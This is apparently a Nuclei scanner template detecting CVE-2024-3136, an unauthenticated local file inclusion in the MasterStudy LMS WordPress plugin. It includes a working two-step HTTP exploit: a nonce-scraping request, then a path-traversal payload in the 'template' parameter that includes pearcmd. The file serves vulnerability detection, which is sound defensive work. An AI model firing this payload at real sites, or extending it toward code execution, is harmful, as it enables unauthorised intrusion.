nuclei-templates/http/cves/2024/CVE-2024-3136.yaml

63 lines
2.7 KiB
YAML

id: CVE-2024-3136
info:
name: MasterStudy LMS <= 3.3.3 - Unauthenticated Local File Inclusion via template
author: iamnoooob,rootxharsh,pdresearch
severity: critical
description: The MasterStudy LMS plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 3.3.3 via the 'template' parameter. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the execution of any PHP code in those files. This can be used to bypass access controls, obtain sensitive data, or achieve code execution in cases where images and other "safe" file types can be uploaded and included.
impact: |
An attacker can read sensitive files, execute arbitrary code, or escalate privileges.
remediation: |
Upgrade MasterStudy LMS to version 3.3.4 or higher to mitigate the vulnerability.
reference:
- https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/helpers.php
- https://plugins.trac.wordpress.org/changeset/3064337/masterstudy-lms-learning-management-system/trunk/_core/lms/classes/templates.php
- https://www.wordfence.com/threat-intel/vulnerabilities/id/9a573740-cdfe-4b58-b33b-5e50bcbc4779?source=cve
- https://github.com/drdry2/CVE-2024-3136-Wordpress-RCE
- https://github.com/nomi-sec/PoC-in-GitHub
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-3136
epss-score: 0.00045
epss-percentile: 0.14274
metadata:
publicwww-query: "/wp-content/plugins/masterstudy-lms-learning-management-system"
verified: true
max-request: 2
tags: cve,cve2024,wp,wordpress,unauth,lfi
variables:
randomstr: "{{randstr_1}}"
marker: "{{base64(randomstr)}}"
http:
- raw:
- |
GET /?p=1 HTTP/1.1
Host: {{Hostname}}
- |
POST /wp-admin/admin-ajax.php?template=../../../../../../../../usr/local/lib/php/pearcmd&+config-create HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
action=stm_lms_load_content&nonce={{nonce}}&
host-redirects: true
max-redirects: 2
matchers:
- type: dsl
dsl:
- 'contains(to_lower(body_2),"config-create: must have 2 parameters")'
- 'status_code_2 == 200'
condition: and
extractors:
- type: regex
part: body
regex:
- '"load_content":"(\w+?)"'
group: 1
internal: true
name: nonce
# digest: 4a0a0047304502206e33a2d814c15125c07d788ddd3fa86d8d8c00963ff4ee67ee6978b537395c2e022100c3dbee7b576104e81ce534ed2e9bcce2296b7a6ffeca66acde35e5d081bb93d6:922c64590222798bb761d5b6d8e72950